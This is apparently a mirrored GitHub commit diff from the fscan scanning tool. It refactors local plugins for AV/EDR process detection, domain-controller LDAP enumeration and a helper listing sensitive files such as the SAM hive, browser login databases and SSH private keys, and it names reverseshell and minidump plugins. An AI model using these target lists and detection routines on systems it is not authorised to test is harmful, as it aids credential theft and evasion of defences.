mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
refactor: 重构本地插件架构并支持多平台
- 简化本地插件架构,移除不必要的连接器抽象 - 重构6个本地插件使用统一的简化架构 - 更新平台支持配置:Windows专用插件(avdetect/dcinfo/minidump),跨平台插件(fileinfo/reverseshell/socks5proxy) - 修复插件注册和系统集成 - 优化代码结构和错误处理
This commit is contained in:
parent
1cfb21ed64
commit
a86098d6b6
@ -374,12 +374,12 @@ func checkParameterConflicts() {
|
|||||||
if LocalMode {
|
if LocalMode {
|
||||||
if LocalPlugin == "" {
|
if LocalPlugin == "" {
|
||||||
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
||||||
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
|
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 验证本地插件名称
|
// 验证本地插件名称
|
||||||
validPlugins := []string{"fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "avdetect"}
|
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy"} // 已重构的插件
|
||||||
isValid := false
|
isValid := false
|
||||||
for _, valid := range validPlugins {
|
for _, valid := range validPlugins {
|
||||||
if LocalPlugin == valid {
|
if LocalPlugin == valid {
|
||||||
@ -390,7 +390,7 @@ func checkParameterConflicts() {
|
|||||||
|
|
||||||
if !isValid {
|
if !isValid {
|
||||||
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
||||||
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
|
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -22,26 +22,10 @@ import (
|
|||||||
//go:embed auto.json
|
//go:embed auto.json
|
||||||
var embeddedAVDatabase []byte
|
var embeddedAVDatabase []byte
|
||||||
|
|
||||||
// AVDetectPlugin AV/EDR检测插件
|
// AVDetectPlugin AV/EDR检测插件 - 使用简化架构
|
||||||
type AVDetectPlugin struct {
|
type AVDetectPlugin struct {
|
||||||
*local.BaseLocalPlugin
|
*local.BaseLocalPlugin
|
||||||
connector *AVDetectConnector
|
|
||||||
|
|
||||||
// AV/EDR数据库
|
|
||||||
avDatabase map[string]AVProduct
|
avDatabase map[string]AVProduct
|
||||||
configPath string
|
|
||||||
}
|
|
||||||
|
|
||||||
// AVDetectConnector AV/EDR检测连接器
|
|
||||||
type AVDetectConnector struct {
|
|
||||||
*local.BaseLocalConnector
|
|
||||||
}
|
|
||||||
|
|
||||||
// AVDetectConnection AV/EDR检测连接对象
|
|
||||||
type AVDetectConnection struct {
|
|
||||||
*local.LocalConnection
|
|
||||||
RunningProcesses []ProcessInfo
|
|
||||||
SystemInfo map[string]string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// AVProduct AV/EDR产品信息
|
// AVProduct AV/EDR产品信息
|
||||||
@ -69,75 +53,44 @@ type DetectionResult struct {
|
|||||||
Category string `json:"category"`
|
Category string `json:"category"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewAVDetectPlugin 创建AV/EDR检测插件
|
// NewAVDetectPlugin 创建AV/EDR检测插件 - 简化版本
|
||||||
func NewAVDetectPlugin() *AVDetectPlugin {
|
func NewAVDetectPlugin() *AVDetectPlugin {
|
||||||
metadata := &base.PluginMetadata{
|
metadata := &base.PluginMetadata{
|
||||||
Name: "avdetect",
|
Name: "avdetect",
|
||||||
Version: "1.0.0",
|
Version: "1.0.0",
|
||||||
Author: "fscan-team",
|
Author: "fscan-team",
|
||||||
Description: "自动化AV/EDR检测插件,基于auto.json规则库识别安全软件",
|
Description: "自动化AV/EDR检测插件,基于嵌入式规则库识别安全软件",
|
||||||
Category: "local",
|
Category: "local",
|
||||||
Tags: []string{"local", "av", "edr", "detection", "security"},
|
Tags: []string{"local", "av", "edr", "detection", "security"},
|
||||||
Protocols: []string{"local"},
|
Protocols: []string{"local"},
|
||||||
}
|
}
|
||||||
|
|
||||||
connector := NewAVDetectConnector()
|
|
||||||
plugin := &AVDetectPlugin{
|
plugin := &AVDetectPlugin{
|
||||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||||
connector: connector,
|
|
||||||
avDatabase: make(map[string]AVProduct),
|
avDatabase: make(map[string]AVProduct),
|
||||||
configPath: "auto.json", // 默认配置文件路径
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 设置支持的平台
|
// 设置支持的平台 (仅Windows)
|
||||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
plugin.SetPlatformSupport([]string{"windows"})
|
||||||
// 不需要特殊权限
|
// 不需要特殊权限
|
||||||
plugin.SetRequiresPrivileges(false)
|
plugin.SetRequiresPrivileges(false)
|
||||||
|
|
||||||
return plugin
|
return plugin
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewAVDetectConnector 创建AV/EDR检测连接器
|
// Initialize 初始化插件
|
||||||
func NewAVDetectConnector() *AVDetectConnector {
|
func (p *AVDetectPlugin) Initialize() error {
|
||||||
baseConnector, _ := local.NewBaseLocalConnector()
|
// 先调用基类初始化
|
||||||
|
if err := p.BaseLocalPlugin.Initialize(); err != nil {
|
||||||
return &AVDetectConnector{
|
return err
|
||||||
BaseLocalConnector: baseConnector,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Connect 建立AV/EDR检测连接
|
|
||||||
func (c *AVDetectConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
|
||||||
// 先建立基础本地连接
|
|
||||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
baseConn := localConn.(*local.LocalConnection)
|
// 加载AV数据库
|
||||||
|
return p.loadAVDatabase()
|
||||||
// 获取系统进程信息
|
|
||||||
processes, err := c.getRunningProcesses()
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("获取进程列表失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
avDetectConn := &AVDetectConnection{
|
|
||||||
LocalConnection: baseConn,
|
|
||||||
RunningProcesses: processes,
|
|
||||||
SystemInfo: baseConn.SystemInfo,
|
|
||||||
}
|
|
||||||
|
|
||||||
return avDetectConn, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Close 关闭AV/EDR检测连接
|
|
||||||
func (c *AVDetectConnector) Close(conn interface{}) error {
|
|
||||||
return c.BaseLocalConnector.Close(conn)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// getRunningProcesses 获取运行中的进程列表
|
// getRunningProcesses 获取运行中的进程列表
|
||||||
func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
|
func (p *AVDetectPlugin) getRunningProcesses() ([]ProcessInfo, error) {
|
||||||
var processes []ProcessInfo
|
var processes []ProcessInfo
|
||||||
var cmd *exec.Cmd
|
var cmd *exec.Cmd
|
||||||
|
|
||||||
@ -158,7 +111,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 解析命令输出
|
// 解析命令输出
|
||||||
processes, err = c.parseProcessOutput(string(output))
|
processes, err = p.parseProcessOutput(string(output))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("解析进程信息失败: %v", err)
|
return nil, fmt.Errorf("解析进程信息失败: %v", err)
|
||||||
}
|
}
|
||||||
@ -167,7 +120,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// parseProcessOutput 解析进程命令输出
|
// parseProcessOutput 解析进程命令输出
|
||||||
func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, error) {
|
func (p *AVDetectPlugin) parseProcessOutput(output string) ([]ProcessInfo, error) {
|
||||||
var processes []ProcessInfo
|
var processes []ProcessInfo
|
||||||
scanner := bufio.NewScanner(strings.NewReader(output))
|
scanner := bufio.NewScanner(strings.NewReader(output))
|
||||||
|
|
||||||
@ -185,7 +138,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 解析PowerShell CSV格式:Name,Id,ProcessName
|
// 解析PowerShell CSV格式:Name,Id,ProcessName
|
||||||
fields := c.parseCSVLine(line)
|
fields := p.parseCSVLine(line)
|
||||||
if len(fields) >= 3 {
|
if len(fields) >= 3 {
|
||||||
processName := strings.Trim(fields[0], "\"")
|
processName := strings.Trim(fields[0], "\"")
|
||||||
// 如果进程名不包含.exe,则添加
|
// 如果进程名不包含.exe,则添加
|
||||||
@ -231,7 +184,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er
|
|||||||
}
|
}
|
||||||
|
|
||||||
// parseCSVLine 解析CSV行,处理引号内的逗号
|
// parseCSVLine 解析CSV行,处理引号内的逗号
|
||||||
func (c *AVDetectConnector) parseCSVLine(line string) []string {
|
func (p *AVDetectPlugin) parseCSVLine(line string) []string {
|
||||||
var fields []string
|
var fields []string
|
||||||
var current strings.Builder
|
var current strings.Builder
|
||||||
inQuotes := false
|
inQuotes := false
|
||||||
@ -266,49 +219,58 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
|
|||||||
return p.ScanLocal(ctx, info)
|
return p.ScanLocal(ctx, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ScanLocal 执行AV/EDR检测扫描
|
// ScanLocal 执行AV/EDR检测扫描 - 简化版本
|
||||||
func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
common.LogBase("开始AV/EDR安全软件检测...")
|
common.LogInfo("开始AV/EDR安全软件检测...")
|
||||||
|
|
||||||
// 加载AV数据库
|
// 获取运行进程
|
||||||
err := p.loadAVDatabase()
|
processes, err := p.getRunningProcesses()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(fmt.Sprintf("加载AV数据库失败: %v", err))
|
common.LogError(fmt.Sprintf("获取进程列表失败: %v", err))
|
||||||
return &base.ScanResult{
|
// 不返回错误,继续执行但结果可能不完整
|
||||||
Success: false,
|
processes = []ProcessInfo{}
|
||||||
Error: err,
|
|
||||||
}, nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("成功加载 %d 个安全产品规则", len(p.avDatabase)))
|
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(processes)))
|
||||||
|
|
||||||
// 建立连接
|
// 检测AV/EDR产品
|
||||||
conn, err := p.connector.Connect(ctx, info)
|
detectionResults := p.detectAVEDR(processes)
|
||||||
if err != nil {
|
|
||||||
return &base.ScanResult{
|
|
||||||
Success: false,
|
|
||||||
Error: fmt.Errorf("连接失败: %v", err),
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
defer p.connector.Close(conn)
|
|
||||||
|
|
||||||
avDetectConn := conn.(*AVDetectConnection)
|
// 获取系统信息
|
||||||
|
systemInfo := p.GetSystemInfo()
|
||||||
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(avDetectConn.RunningProcesses)))
|
|
||||||
|
|
||||||
// 执行AV/EDR检测
|
|
||||||
detectionResults := p.detectAVEDR(avDetectConn.RunningProcesses)
|
|
||||||
|
|
||||||
// 生成检测报告
|
// 生成检测报告
|
||||||
report := p.generateDetectionReport(detectionResults, avDetectConn.SystemInfo)
|
report := p.generateDetectionReport(detectionResults, systemInfo)
|
||||||
|
|
||||||
|
if len(detectionResults) == 0 {
|
||||||
|
common.LogInfo("未检测到已知的AV/EDR安全产品")
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: true,
|
||||||
|
Service: "AVDetect",
|
||||||
|
Banner: "未检测到已知的AV/EDR安全产品",
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"detected_products": detectionResults,
|
||||||
|
"total_processes": len(processes),
|
||||||
|
"detection_report": report,
|
||||||
|
"platform": runtime.GOOS,
|
||||||
|
"database_products": len(p.avDatabase),
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 输出检测结果
|
||||||
|
common.LogInfo(fmt.Sprintf("[+] AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
|
||||||
|
for _, result := range detectionResults {
|
||||||
|
common.LogInfo(fmt.Sprintf("[+] 检测到: %s (%d个进程)", result.ProductName, len(result.DetectedProcesses)))
|
||||||
|
}
|
||||||
|
|
||||||
result := &base.ScanResult{
|
result := &base.ScanResult{
|
||||||
Success: len(detectionResults) >= 0, // 即使没有检测到也算成功
|
Success: true,
|
||||||
Service: "AVDetect",
|
Service: "AVDetect",
|
||||||
Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)),
|
Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)),
|
||||||
Extra: map[string]interface{}{
|
Extra: map[string]interface{}{
|
||||||
"detected_products": detectionResults,
|
"detected_products": detectionResults,
|
||||||
"total_processes": len(avDetectConn.RunningProcesses),
|
"total_processes": len(processes),
|
||||||
"detection_report": report,
|
"detection_report": report,
|
||||||
"platform": runtime.GOOS,
|
"platform": runtime.GOOS,
|
||||||
"database_products": len(p.avDatabase),
|
"database_products": len(p.avDatabase),
|
||||||
|
@ -1,113 +1,27 @@
|
|||||||
package local
|
package local
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
|
||||||
"fmt"
|
|
||||||
"os"
|
"os"
|
||||||
"runtime"
|
"runtime"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// BaseLocalConnector 基础本地连接器实现
|
// 本地插件实用工具函数
|
||||||
type BaseLocalConnector struct {
|
// 由于移除了LocalConnector概念,这个文件现在包含实用的工具函数
|
||||||
workingDir string
|
|
||||||
homeDir string
|
|
||||||
systemInfo map[string]string
|
|
||||||
}
|
|
||||||
|
|
||||||
// LocalConnection 本地连接对象
|
// GetCommonDirectories 获取常见目录路径 - 实用工具函数
|
||||||
type LocalConnection struct {
|
func GetCommonDirectories() []string {
|
||||||
WorkingDir string
|
|
||||||
HomeDir string
|
|
||||||
SystemInfo map[string]string
|
|
||||||
TempDir string
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewBaseLocalConnector 创建基础本地连接器
|
|
||||||
func NewBaseLocalConnector() (*BaseLocalConnector, error) {
|
|
||||||
homeDir, err := os.UserHomeDir()
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
workingDir, err := os.Getwd()
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
return &BaseLocalConnector{
|
|
||||||
workingDir: workingDir,
|
|
||||||
homeDir: homeDir,
|
|
||||||
systemInfo: make(map[string]string),
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Connect 建立本地连接
|
|
||||||
func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
|
||||||
// 初始化系统信息
|
|
||||||
c.initSystemInfo()
|
|
||||||
|
|
||||||
tempDir := os.TempDir()
|
|
||||||
|
|
||||||
conn := &LocalConnection{
|
|
||||||
WorkingDir: c.workingDir,
|
|
||||||
HomeDir: c.homeDir,
|
|
||||||
SystemInfo: c.systemInfo,
|
|
||||||
TempDir: tempDir,
|
|
||||||
}
|
|
||||||
|
|
||||||
return conn, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Close 关闭连接
|
|
||||||
func (c *BaseLocalConnector) Close(conn interface{}) error {
|
|
||||||
// 本地连接无需特殊关闭操作
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetSystemInfo 获取系统信息
|
|
||||||
func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) {
|
|
||||||
localConn, ok := conn.(*LocalConnection)
|
|
||||||
if !ok {
|
|
||||||
return nil, fmt.Errorf("无效的连接类型")
|
|
||||||
}
|
|
||||||
|
|
||||||
return localConn.SystemInfo, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// initSystemInfo 初始化系统信息
|
|
||||||
func (c *BaseLocalConnector) initSystemInfo() {
|
|
||||||
c.systemInfo["os"] = runtime.GOOS
|
|
||||||
c.systemInfo["arch"] = runtime.GOARCH
|
|
||||||
c.systemInfo["home_dir"] = c.homeDir
|
|
||||||
c.systemInfo["working_dir"] = c.workingDir
|
|
||||||
c.systemInfo["temp_dir"] = os.TempDir()
|
|
||||||
|
|
||||||
// 获取用户名
|
|
||||||
if username := os.Getenv("USER"); username != "" {
|
|
||||||
c.systemInfo["username"] = username
|
|
||||||
} else if username := os.Getenv("USERNAME"); username != "" {
|
|
||||||
c.systemInfo["username"] = username
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取主机名
|
|
||||||
if hostname, err := os.Hostname(); err == nil {
|
|
||||||
c.systemInfo["hostname"] = hostname
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetCommonDirectories 获取常见目录路径
|
|
||||||
func (c *BaseLocalConnector) GetCommonDirectories() []string {
|
|
||||||
var dirs []string
|
var dirs []string
|
||||||
|
|
||||||
|
homeDir, _ := os.UserHomeDir()
|
||||||
|
|
||||||
switch runtime.GOOS {
|
switch runtime.GOOS {
|
||||||
case "windows":
|
case "windows":
|
||||||
dirs = []string{
|
dirs = []string{
|
||||||
c.homeDir,
|
homeDir,
|
||||||
filepath.Join(c.homeDir, "Desktop"),
|
filepath.Join(homeDir, "Desktop"),
|
||||||
filepath.Join(c.homeDir, "Documents"),
|
filepath.Join(homeDir, "Documents"),
|
||||||
filepath.Join(c.homeDir, "Downloads"),
|
filepath.Join(homeDir, "Downloads"),
|
||||||
"C:\\Users\\Public\\Documents",
|
"C:\\Users\\Public\\Documents",
|
||||||
"C:\\Users\\Public\\Desktop",
|
"C:\\Users\\Public\\Desktop",
|
||||||
"C:\\Program Files",
|
"C:\\Program Files",
|
||||||
@ -115,10 +29,10 @@ func (c *BaseLocalConnector) GetCommonDirectories() []string {
|
|||||||
}
|
}
|
||||||
case "linux", "darwin":
|
case "linux", "darwin":
|
||||||
dirs = []string{
|
dirs = []string{
|
||||||
c.homeDir,
|
homeDir,
|
||||||
filepath.Join(c.homeDir, "Desktop"),
|
filepath.Join(homeDir, "Desktop"),
|
||||||
filepath.Join(c.homeDir, "Documents"),
|
filepath.Join(homeDir, "Documents"),
|
||||||
filepath.Join(c.homeDir, "Downloads"),
|
filepath.Join(homeDir, "Downloads"),
|
||||||
"/opt",
|
"/opt",
|
||||||
"/usr/local",
|
"/usr/local",
|
||||||
"/var/www",
|
"/var/www",
|
||||||
@ -129,10 +43,12 @@ func (c *BaseLocalConnector) GetCommonDirectories() []string {
|
|||||||
return dirs
|
return dirs
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetSensitiveFiles 获取敏感文件路径
|
// GetSensitiveFiles 获取敏感文件路径 - 实用工具函数
|
||||||
func (c *BaseLocalConnector) GetSensitiveFiles() []string {
|
func GetSensitiveFiles() []string {
|
||||||
var files []string
|
var files []string
|
||||||
|
|
||||||
|
homeDir, _ := os.UserHomeDir()
|
||||||
|
|
||||||
switch runtime.GOOS {
|
switch runtime.GOOS {
|
||||||
case "windows":
|
case "windows":
|
||||||
files = []string{
|
files = []string{
|
||||||
@ -140,9 +56,9 @@ func (c *BaseLocalConnector) GetSensitiveFiles() []string {
|
|||||||
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
|
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
|
||||||
"C:\\windows\\repair\\sam",
|
"C:\\windows\\repair\\sam",
|
||||||
"C:\\windows\\system32\\config\\sam",
|
"C:\\windows\\system32\\config\\sam",
|
||||||
filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||||
filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||||
filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||||
}
|
}
|
||||||
case "linux", "darwin":
|
case "linux", "darwin":
|
||||||
files = []string{
|
files = []string{
|
||||||
@ -153,9 +69,9 @@ func (c *BaseLocalConnector) GetSensitiveFiles() []string {
|
|||||||
"/root/.ssh/id_rsa",
|
"/root/.ssh/id_rsa",
|
||||||
"/root/.ssh/authorized_keys",
|
"/root/.ssh/authorized_keys",
|
||||||
"/root/.bash_history",
|
"/root/.bash_history",
|
||||||
filepath.Join(c.homeDir, ".ssh/id_rsa"),
|
filepath.Join(homeDir, ".ssh/id_rsa"),
|
||||||
filepath.Join(c.homeDir, ".ssh/authorized_keys"),
|
filepath.Join(homeDir, ".ssh/authorized_keys"),
|
||||||
filepath.Join(c.homeDir, ".bash_history"),
|
filepath.Join(homeDir, ".bash_history"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -15,28 +15,19 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
// DCInfoPlugin 域控信息收集插件
|
// DCInfoPlugin 域控信息收集插件 - 使用简化架构
|
||||||
type DCInfoPlugin struct {
|
type DCInfoPlugin struct {
|
||||||
*local.BaseLocalPlugin
|
*local.BaseLocalPlugin
|
||||||
connector *DCInfoConnector
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// DCInfoConnector 域控信息连接器
|
// DomainInfo 域信息结构
|
||||||
type DCInfoConnector struct {
|
type DomainInfo struct {
|
||||||
*local.BaseLocalConnector
|
|
||||||
conn *ldap.Conn
|
|
||||||
baseDN string
|
|
||||||
}
|
|
||||||
|
|
||||||
// DomainConnection 域连接对象
|
|
||||||
type DomainConnection struct {
|
|
||||||
*local.LocalConnection
|
|
||||||
LDAPConn *ldap.Conn
|
|
||||||
BaseDN string
|
|
||||||
Domain string
|
Domain string
|
||||||
|
BaseDN string
|
||||||
|
LDAPConn *ldap.Conn
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewDCInfoPlugin 创建域控信息收集插件
|
// NewDCInfoPlugin 创建域控信息收集插件 - 简化版本
|
||||||
func NewDCInfoPlugin() *DCInfoPlugin {
|
func NewDCInfoPlugin() *DCInfoPlugin {
|
||||||
metadata := &base.PluginMetadata{
|
metadata := &base.PluginMetadata{
|
||||||
Name: "dcinfo",
|
Name: "dcinfo",
|
||||||
@ -48,16 +39,14 @@ func NewDCInfoPlugin() *DCInfoPlugin {
|
|||||||
Protocols: []string{"local"},
|
Protocols: []string{"local"},
|
||||||
}
|
}
|
||||||
|
|
||||||
connector := NewDCInfoConnector()
|
|
||||||
plugin := &DCInfoPlugin{
|
plugin := &DCInfoPlugin{
|
||||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||||
connector: connector,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 仅支持Windows平台
|
// 仅支持Windows平台
|
||||||
plugin.SetPlatformSupport([]string{"windows"})
|
plugin.SetPlatformSupport([]string{"windows"})
|
||||||
// 需要域环境权限
|
// 不需要特殊权限,使用当前用户凭据
|
||||||
plugin.SetRequiresPrivileges(false) // 使用当前用户凭据
|
plugin.SetRequiresPrivileges(false)
|
||||||
|
|
||||||
return plugin
|
return plugin
|
||||||
}
|
}
|
||||||
@ -67,69 +56,39 @@ func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.S
|
|||||||
return p.ScanLocal(ctx, info)
|
return p.ScanLocal(ctx, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewDCInfoConnector 创建域控信息连接器
|
// connectToDomain 连接到域控制器 - 简化版本
|
||||||
func NewDCInfoConnector() *DCInfoConnector {
|
func (p *DCInfoPlugin) connectToDomain() (*DomainInfo, error) {
|
||||||
baseConnector, _ := local.NewBaseLocalConnector()
|
|
||||||
|
|
||||||
return &DCInfoConnector{
|
|
||||||
BaseLocalConnector: baseConnector,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Connect 建立域控连接
|
|
||||||
func (c *DCInfoConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
|
||||||
// 先建立基础本地连接
|
|
||||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
baseConn := localConn.(*local.LocalConnection)
|
|
||||||
|
|
||||||
// 获取域控制器地址
|
// 获取域控制器地址
|
||||||
dcHost, domain, err := c.getDomainController()
|
dcHost, domain, err := p.getDomainController()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("获取域控制器失败: %v", err)
|
return nil, fmt.Errorf("获取域控制器失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 建立LDAP连接
|
// 建立LDAP连接
|
||||||
ldapConn, baseDN, err := c.connectToLDAP(dcHost, domain)
|
ldapConn, baseDN, err := p.connectToLDAP(dcHost, domain)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("LDAP连接失败: %v", err)
|
return nil, fmt.Errorf("LDAP连接失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
domainConn := &DomainConnection{
|
return &DomainInfo{
|
||||||
LocalConnection: baseConn,
|
|
||||||
LDAPConn: ldapConn,
|
|
||||||
BaseDN: baseDN,
|
|
||||||
Domain: domain,
|
Domain: domain,
|
||||||
}
|
BaseDN: baseDN,
|
||||||
|
LDAPConn: ldapConn,
|
||||||
return domainConn, nil
|
}, nil
|
||||||
}
|
|
||||||
|
|
||||||
// Close 关闭域控连接
|
|
||||||
func (c *DCInfoConnector) Close(conn interface{}) error {
|
|
||||||
if domainConn, ok := conn.(*DomainConnection); ok {
|
|
||||||
if domainConn.LDAPConn != nil {
|
|
||||||
domainConn.LDAPConn.Close()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return c.BaseLocalConnector.Close(conn)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// getDomainController 获取域控制器地址
|
// getDomainController 获取域控制器地址
|
||||||
func (c *DCInfoConnector) getDomainController() (string, string, error) {
|
func (p *DCInfoPlugin) getDomainController() (string, string, error) {
|
||||||
common.LogDebug("开始查询域控制器地址...")
|
common.LogDebug("开始查询域控制器地址...")
|
||||||
|
|
||||||
// 方法1: 尝试使用PowerShell获取域名
|
// 方法1: 尝试使用PowerShell获取域名
|
||||||
domain, err := c.getDomainNamePowerShell()
|
domain, err := p.getDomainNamePowerShell()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// 方法2: 尝试使用wmic(如果可用)
|
// 方法2: 尝试使用wmic(如果可用)
|
||||||
domain, err = c.getDomainNameWmic()
|
domain, err = p.getDomainNameWmic()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// 方法3: 尝试使用环境变量
|
// 方法3: 尝试使用环境变量
|
||||||
domain, err = c.getDomainNameFromEnv()
|
domain, err = p.getDomainNameFromEnv()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", "", fmt.Errorf("获取域名失败: %v", err)
|
return "", "", fmt.Errorf("获取域名失败: %v", err)
|
||||||
}
|
}
|
||||||
@ -143,7 +102,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) {
|
|||||||
common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
|
common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
|
||||||
|
|
||||||
// 查询域控制器
|
// 查询域控制器
|
||||||
dcHost, err := c.findDomainController(domain)
|
dcHost, err := p.findDomainController(domain)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// 备选方案:使用域名直接构造
|
// 备选方案:使用域名直接构造
|
||||||
dcHost = fmt.Sprintf("dc.%s", domain)
|
dcHost = fmt.Sprintf("dc.%s", domain)
|
||||||
@ -154,7 +113,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getDomainNamePowerShell 使用PowerShell获取域名
|
// getDomainNamePowerShell 使用PowerShell获取域名
|
||||||
func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) {
|
func (p *DCInfoPlugin) getDomainNamePowerShell() (string, error) {
|
||||||
cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain")
|
